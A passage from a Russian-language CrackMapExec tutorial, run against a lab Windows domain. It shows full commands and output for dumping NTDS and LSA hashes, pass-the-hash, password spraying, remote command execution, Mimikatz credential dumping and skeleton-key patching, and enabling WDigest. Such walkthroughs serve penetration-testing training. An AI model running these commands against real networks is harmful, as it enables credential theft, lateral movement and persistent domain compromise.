SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 NL$KM:392662e6ff7a57fe2928a3d7a0657f9c5ccbc458d0357d3767d7e58af8690a5ff2403f52f3977ebd3c2
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Dumped 6 LSA secrets to /root/.cme/logs/WIN-S0V7KMTVLD2_192.168.1.105_2020-05-02_142

```

Дамп учетных данных NTDS (DRSUAPI)

NTDS расшифровывается как New Technologies Directory Services, а DIT расшифровывается как Информационное дерево каталогов. Этот файл работает в роли базы данных Active Directory и хранит все ее данные, включая все учетные данные.

Чтобы сдатьмпить хэши NTDS, используйте команду:

1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signi
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\yashika:1601:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\geet:1602:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\saarti:1603:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SPI1000-3MFD4LDN1VTV:1625:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_195ac04be8c140048:1626:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_4c397e3a678c4b169:1627:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_20db1747e41e4819a:1628:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_8fbff1f05b7c418da:1629:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_f6bf5640db6544c10:1630:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c

```

Дамп учетных данных NTDS (VSS)

Другой способ получить учетные данные из NTDS — через VSS, т. е. теневую копию тома:

```
1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (si
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 WIN-S0V7KMTVLD2$:1000:aad3b435b51404eeaad3b435b51404ee:6eb72d9582436dfd0ba7d3e82ed542dd :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\yashika:1601:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03 :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\geet:1602:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03 :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\arti:1603:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03 :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 DESKTOP-RGP209L$:1604:aad3b435b51404eeaad3b435b51404ee:f4e024227370ef5b92c62263989e0bf3 :::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 EXCHANGE$:1605:aad3b435b51404eeaad3b435b51404ee:cbb62ad39c37fe26dcafbf03d6636d70 :::
```

Pass the Hash

После того, как мы сдмпировали хеш, нужно применить какой-нибудь другой инструмент для передачи хеша. С CME можно использовать команду:

```
1 crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator 32196B56FFE6F45E294117B91A83BF38 (Pwn3d!)
```

Про атаку Pass the Hash:

- [Атака Pass the hash Pass the ticket](#)
- [Pass the Hash средствами Metasploit PsExec](#)
- [Pass the Hash с помощью PTH-WinExe на Kali Linux](#)

Password Spraying

Password Spraying — это атака, при которой мы получаем доступ к учетным записям, используя одни и те же пароли для одних и тех же имен пользователей, пока не найдем правильный. С CME мы можем выполнять атаку Password Spraying двумя способами.

В первом методе мы будем использовать параметр `--rid-brute`. Для использования этого параметра синтаксис будет следующим:

```
1 crackmapexec <протокол> <IP-адрес> -u <путь к txt-файлу> -p '<пароль>' --rid-brute
```

Следуя приведенному выше синтаксису, команда выглядит так:

- 1 crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-brute

```
root@kali:~# crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-brute
SMB 192.168.1.106 445 DESKTOP-RGP209L [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP209L) (c
SMB 192.168.1.106 445 DESKTOP-RGP209L [+] IGNITE\geet:Password@1
SMB 192.168.1.106 445 DESKTOP-RGP209L [+] Brute forcing RIDs
SMB 192.168.1.106 445 DESKTOP-RGP209L 500: DESKTOP-RGP209L\Administrator (SidTypeUser)
SMB 192.168.1.106 445 DESKTOP-RGP209L 501: DESKTOP-RGP209L\Guest (SidTypeUser)
SMB 192.168.1.106 445 DESKTOP-RGP209L 503: DESKTOP-RGP209L\DefaultAccount (SidTypeUser)
SMB 192.168.1.106 445 DESKTOP-RGP209L 504: DESKTOP-RGP209L\WDAGUtilityAccount (SidTypeUser)
SMB 192.168.1.106 445 DESKTOP-RGP209L 513: DESKTOP-RGP209L\None (SidTypeGroup)
SMB 192.168.1.106 445 DESKTOP-RGP209L 1001: DESKTOP-RGP209L\raj (SidTypeUser)
```

Другой способ Password Spraying — использование -continue-on-success, и мы будем использовать этот параметр с нашим пользовательским словарем, в котором есть все имена пользователей. Содержимое словаря показано на изображении ниже с помощью команды cat.

Для атаки Password Spraying используется команда:

- 1 crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-success

```
root@kali:~# cat /root/Desktop/user.txt
geet
kavish
aarti
yashika
root@kali:~# crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-success
SMB 192.168.1.106 445 DESKTOP-RGP209L [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP209L) (domain:IG
SMB 192.168.1.106 445 DESKTOP-RGP209L [+] IGNITE\geet:Password@1
SMB 192.168.1.106 445 DESKTOP-RGP209L [+] IGNITE\kavish:Password@1
```

См. также [Лучшие инструменты для атаки Password Spraying](#).

Удаленное выполнение команд

Теперь, когда мы изучили различные способы получения пароля, давайте воспользуемся им, поскольку CME позволяет удаленно выполнять команды.

Мы можем использовать команду quser для получения информации о пользователях. И команду logoff для выхода из целевой системы.

Синтаксис для удаленного выполнения команд:

- 1 **crackmapexec <протокол> <IP_адрес> -u '<имя пользователя>' -p '<пароль>' -x '<команда>'**

Следуя приведенному выше синтаксису, команды будут таким образом:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'
- 2 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'logoff 2'

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signing:True) (SMBv1:True)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed command
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 USERNAME SESSIONNAME ID STATE IDLE TIME
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 administrator console 2 Active none
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'logoff 2'
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signing:True) (SMBv1:True)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed command

```

И, как вы можете видеть на изображении выше, наши команды успешно выполняются.

Удаленное выполнение команды atexec

Следующая команда выполнит команду с помощью службы планировщика заданий:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method atexec

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method wmiexec
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signing:True) (SMBv1:True)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed command via wmiexec
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User name Administrator
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Full Name Administrator
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Comment Built-in account for administering the computer/domain
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User's comment
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Country/region code 000 (System Default)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Account active Yes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Account expires Never
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password last set 4/15/2020 5:26:40 AM
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password expires Never
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password changeable 4/16/2020 5:26:40 AM
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password required Yes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User may change password Yes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Workstations allowed All
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Logon script
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User profile
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Home directory
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Last logon 5/2/2020 11:12:

```

Удаленное выполнение команды wmiexec

Следующая команда выполнит команду с помощью службы инструментария управления Windows (WMI):

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method wmiexec

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method atexec
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signing:True) (SMBv1:True)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed command via atexec
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User name Administrator
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Full Name Administrator
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Comment Built-in account for administering the computer/domain
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User's comment
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Country/region code 000 (System Default)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Account active Yes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Account expires Never
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password last set 4/15/2020 5:26:40 AM
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password expires Never
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password changeable 4/16/2020 5:26:40 AM
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password required Yes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User may change password Yes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Workstations allowed All
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Logon script
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 User profile
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Home directory

```

Для выполнения задач на удаленном компьютере с помощью CME, можно также использовать командлеты PowerShell:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '\$PSVersionTable' --exec-method wmiexec

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTable' --exec-method wmiexec
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed command via wmiexec
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name Value
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ----
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 PSVersion 5.1.14393.2248
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 PSEdition Desktop
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 PSCompatibleVersions {1.0, 2.0, 3.0, 4.0 ... }
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 BuildVersion 10.0.14393.2248
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 CLRVersion 4.0.30319.42000
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 WSMANStackVersion 3.0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 PSRemotingProtocolVersion 2.3
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 SerializationVersion 1.1.0.1

```

Это реализуется благодаря возможности удаленного выполнения команд через WMI

Мы также можем напрямую запустить команду WMI, используя CME. Для этого используется параметр `--wmi`:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount"


```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount"
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => Administrator
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => Guest
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => krbtgt
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => DefaultAccount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => yashika
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => geet
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => aarti
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => $PI1000-3MFD4LDN1VTV
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => SM_195ac04be8c140048
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => SM_4c397e3a678c4b169
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Name => SM_20db1747e41e4819a
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2

```

Модули

Если из вышеперечисленных вариантов у вас нет соблазна добавить СМЕ в свой набор инструментов, держу пари, что следующее убедит вас в кратчайшие сроки. СМЕ также предоставляет различные модули, которые используют сторонние инструменты, такие как Mimikatz, [Metasploit Framework](#) и т. д.

Для просмотра всех доступных моделей СМЕ, используйте команду:

```
1 crackmapexec smb -L
```

```

root@kali:~# crackmapexec smb -L
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/lsassy.py: No module found
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/slinky.py: No module found
[*] Get-ComputerDetails Enumerates sysinfo
[*] bloodhound Executes the BloodHound recon script on the target and reports results
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the target
[*] enum_avproducts Gathers information on all endpoint protection solutions
[*] enum_chrome Decrypts saved Chrome passwords using Get-ChromeDump
[*] enum_dns Uses WMI to dump DNS from an AD DNS Server
[*] get_keystrokes Logs keys pressed, time and the active window
[*] get_netdomaincontroller Enumerates all domain controllers
[*] get_netrdpsession Enumerates all active RDP sessions
[*] get_timscreenshots Takes screenshots at a regular interval
[*] gpp_autologin Searches the domain controller for registry.xml to find a password
[*] gpp_password Retrieves the plaintext password and other information for Group Policy Objects
[*] invoke_sessiongopher Digs up saved session information for PuTTY, WinSCP, FileZilla, etc.
[*] invoke_vnc Injects a VNC client in memory
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] mimikatz Dumps all logon credentials from memory
[*] mimikatz_enum_chrome Decrypts saved Chrome passwords using Mimikatz
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager
[*] mimikittenz Executes Mimikittenz
[*] multirdp Patches terminal services in memory to allow multiple RDP sessions
[*] netripper Captures credentials by using API hooking
[*] pe_inject Downloads the specified DLL/EXE and injects it into memory
[*] rdp Enables/Disables RDP
[*] rid_hijack Executes the RID hijacking persistence hook.
[*] scuffy Creates and dumps an arbitrary .scf file with the icon property
[*] shellcode_inject Downloads the specified raw shellcode and injects it into memory
[*] test_connection Pings a host
[*] tokens Enumerates available tokens
[*] uac Checks UAC status
[*] wdigest Creates/Deletes the 'UseLogonCredential' registry key and enables/disables it
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/scanner/cmd

```

Теперь давайте разберемся, как их использовать.

Модули Mimikatz

Во-первых, мы запустим Mimikatz напрямую как модуль, не передавая ему никаких других аргументов. Синтаксис такой:

- 1 Crackmapexec <протокол> <IP-адрес> -u <путь к txt-файлу с именем пользователя> -p '<пароль>' -M <модуль>

Пример команды:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/smb.py: No module found
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed launcher
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Waiting on 1 host(s)
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] - GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] - POST / HTTP/1.1" 200 -
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] IGNITE\WIN-S0V7KMTVLD2$6eb72d9582436dfd0ba7d3e82ed542dd
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Added 1 credential(s) to the database
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Saved raw Mimikatz output to Mimikatz-192.168.1.105-2020-05-10-14-10-10.txt

```

Так что теперь, как вы можете видеть на изображении выше, запуск модуля Mimikatz без каких-либо других аргументов отобразит системные учетные данные в виде хешей.

Теперь давайте попробуем передать в качестве аргумента команду Mimikatz:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='privilege::debug'

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='privilege::debug'
[!] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: No module r
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed launcher
MIMIKATZ 192.168.1.105 [+] Waiting on 1 host(s)
MIMIKATZ 192.168.1.105 [+] - GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ 192.168.1.105 [+] - POST / HTTP/1.1" 200 -
#####
mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
##### with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # privilege::debug
Privilege '20' OK

MIMIKATZ 192.168.1.105 [+] Saved raw Mimikatz output to Mimikatz-192.168.1.105-2020-05-02_150809.log
```

Итак, команда отлаживает все привилегии, как показано на изображении выше.

Теперь попробуем запустить другую команду:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords'

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords'
[!] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: No module r
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed launcher
MIMIKATZ 192.168.1.105 [+] Waiting on 1 host(s)
MIMIKATZ 192.168.1.105 [+] - GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ 192.168.1.105 [+] - POST / HTTP/1.1" 200 -
#####
mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
##### with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # sekurlsa::logonPasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-S0V7KMTVLD2$
Domain            : IGNITE
Logon Server      : (null)
Logon Time        : 5/2/2020 9:46:42 AM
SID               : S-1-5-20

msv :
[00000003] Primary
* Username : WIN-S0V7KMTVLD2$
* Domain   : IGNITE
* NTLM     : 6eb72d9582436dfd0ba7d3e82ed542dd
* SHA1     : a03b401a3105f29f19e9e3c7f246cc94c2ecf897

tspkg :
wdigest :
* Username : WIN-S0V7KMTVLD2$
* Domain   : IGNITE
* Password : (null)

kerberos :
* Username : win-s0v7kmtvld2$
* Domain   : IGNITE.LOCAL
* Password : (null)
```

Следовательно, выполнение приведенной выше команды отобразит все хеши пароля для входа в систему. Таким образом, вы также можете указать дополнительный аргумент:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='misc::skeleton'

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='misc::skeleton'
[~] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py:
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Executed launcher
MIMIKATZ [*] Waiting on 1 host(s)
MIMIKATZ 192.168.1.105 [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ 192.168.1.105 [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ 192.168.1.105
.##### mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ## "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
```

Теперь мы можем использовать различные методы получения доступа к целевой машине.

См. также [Как используя Mimikatz на Kali Linux извлечь хеши Windows](#)

Модуль Wdigest

Еще один модуль, который нам представляет CME, — это wdigest. Этот модуль создаст ключ реестра, благодаря которому пароли хранятся в памяти. Чтобы использовать этот модуль, введите следующую команду:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable
[~] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slin
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WDIGEST 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] UseLogonCredential registry key created successfully
```

И, как вы можете видеть на изображении выше, ключ реестра создан.

Модуль enum_dns

Этот модуль собирает всю информацию о целевом DNS и отображает ее в консоли. Чтобы использовать этот модуль, используйте следующую команду:


```
1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns
```

